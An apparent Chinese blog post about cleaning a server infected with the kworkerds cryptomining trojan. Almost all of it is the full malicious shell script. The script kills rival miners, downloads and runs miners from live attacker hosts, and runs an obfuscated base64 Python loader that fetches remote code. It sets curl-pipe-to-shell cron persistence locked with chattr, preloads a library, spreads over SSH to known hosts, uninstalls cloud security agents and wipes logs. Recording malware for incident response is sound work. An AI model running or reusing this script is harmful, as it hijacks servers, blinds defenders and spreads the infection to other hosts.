zoukankan      html  css  js  c++  java
  • kworkerds挖矿木马

      昨天一朋友的公司服务器中了挖矿病毒,一起帮忙查看并做下记录。
     

    病毒信息

    名称:kworkerds

    目录:/tmp/

    关键点:文件 -i 属性
     
    i :这个i可就很厉害了。它可以让一个文件“不能被删除、改名,设置连接也无法写入或添加据。” 对于系统安全性有相当大的 
    帮助。只有root能设置此属性。
    通常系统管理员有能力判断这个文件是否可以被删除。
    参考 :chattr -i root 也没办法随意删除
     
    执行chattr -i thisxxs去掉i属性
     
    crontab -l
    */23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
    ##

    病毒脚本

     
    #!/bin/bash
    SHELL=/bin/sh
    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
     
    function b() {
    pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
    rm -rf /tmp/qW3xT.2 /tmp/ddgs.3020 /tmp/ddgs.3020 /tmp/wnTKYg /tmp/2t3ik
    ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
    ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
    ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
    ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
    p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
    if [ ${p} -eq 0 ];then
        ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
    fi
    }
     
    function d() {
        ARCH=$(uname -i)
        if [ "$ARCH" == "x86_64" ]; then
            (curl -fsSL --connect-timeout 120 https://master.clminer.ru/1/1551434761x2728329064.jpg -o /tmp/kworkerds||wget https://master.clminer.ru/1/1551434761x2728329064.jpg -O /tmp/kworkerds) && chmod +x /tmp/kworkerds
            /tmp/kworkerds
        else
            mkdir -p /var/tmp
            chmod 1777 /var/tmp
            (curl -fsSL --connect-timeout 120 https://master.clminer.ru/2/1551434778x2728329032.jpg -o /var/tmp/kworkerds||wget https://master.clminer.ru/2/1551434778x2728329032.jpg -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
            /var/tmp/kworkerds
        fi
    }
     
    function e() {
        nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cDovLzE4NS4xMC42OC45MS9yYXcvOThzZGY2OTEnCnRyeToKICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIudXJsb3BlbihkKS5yZWFkKCkpCiAgICBleGVjKHBhZ2UpCmV4Y2VwdDoKICAgIHBhc3M='))" >/dev/null 2>&1 &
        touch /tmp/.38t9guft0055d0565u444gtjr0
    }
     
    function c() {
        chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
        (curl -fsSL --connect-timeout 120 http://185.10.68.91/2/2 -o /usr/local/bin/dns||wget http://185.10.68.91/2/2 -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns
        echo -e "SHELL=/bin/sh
    PATH=/sbin:/bin:/usr/sbin:/usr/bin
    MAILTO=root
    HOME=/
    # run-parts
    01 * * * * root run-parts /etc/cron.hourly
    02 4 * * * root run-parts /etc/cron.daily
    0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab
        echo -e "*/10 * * * * root (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
    ##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
        echo -e "*/17 * * * * root (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
    ##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
        echo -e "*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
    ##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
        mkdir -p /var/spool/cron/crontabs
        echo -e "*/31 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
    ##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
        mkdir -p /etc/cron.hourly
        (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.hourly/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
        mkdir -p /etc/cron.daily
        (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.daily/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
        mkdir -p /etc/cron.monthly
        (curl -fsSL --connect-timeout 120 http://185.10.68.91/1/1 -o /etc/cron.monthly/oanacroner||wget http://185.10.68.91/1/1 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
        mkdir -p /usr/local/lib/
        if [ ! -f "/usr/local/lib/libntpd.so" ]; then
            ARCH=$(uname -i)
            if [ "$ARCH" == "x86_64" ]; then
                (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/2 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
            elif [ "$ARCH" == "i386" ]; then
                (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
            else
                (curl -fsSL --connect-timeout 120 https://master.clminer.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.clminer.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
            fi
        fi
        chattr -i /etc/ld.so.preload && echo /usr/local/lib/libntpd.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload
        if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then   
              for h in $(grep -oE "([0-9]{1,3}.){3}[0-9]{1,3}" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh' & done
        fi
        touch -acmr /bin/sh /etc/cron.hourly/oanacroner
        touch -acmr /bin/sh /etc/cron.daily/oanacroner
        touch -acmr /bin/sh /etc/cron.monthly/oanacroner
    }
     
    function a() {
        if ps aux | grep -i '[a]liyun'; then
            wget http://update.aegis.aliyun.com/download/uninstall.sh
            chmod +x uninstall.sh
            ./uninstall.sh
            wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
            chmod +x quartz_uninstall.sh
            ./quartz_uninstall.sh
            rm -f uninstall.sh     quartz_uninstall.sh
            pkill aliyun-service
            rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
            rm -rf /usr/local/aegis*;
        elif ps aux | grep -i '[y]unjing'; then
            /usr/local/qcloud/stargate/admin/uninstall.sh
            /usr/local/qcloud/YunJing/uninst.sh
            /usr/local/qcloud/monitor/barad/admin/uninstall.sh
        fi
        touch /tmp/.a
    }
     
    mkdir -p /tmp
    chmod 1777 /tmp
    if [ ! -f "/tmp/.a" ]; then
        a
    fi
    b
    c
    port=$(netstat -an | grep :56415 | wc -l)
    if [ ${port} -eq 0 ];then
        d
    fi
    if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr0" ]; then
        e
    fi
    echo 0>/var/spool/mail/root
    echo 0>/var/log/wtmp
    echo 0>/var/log/secure
    echo 0>/var/log/cron
     

    处理参考

  • 相关阅读:
    【秒杀系统】零基础上手秒杀系统(三):抢购接口隐藏 + 单用户限制频率
    【秒杀系统】零基础上手秒杀系统(二):令牌桶限流 + 再谈超卖
    【秒杀系统】从零开始打造简易秒杀系统(一):防止超卖
    EditPlus快捷键
    ant的安装及项目的发布
    Java 中类型转换
    navicat 结合快捷键
    go中安装Beego不成功笔记
    Excel中添加下拉框
    在Excel中把横行与竖列进行置换、打勾号
  • 原文地址:https://www.cnblogs.com/xuewenlong/p/12881825.html
Copyright © 2011-2022 走看看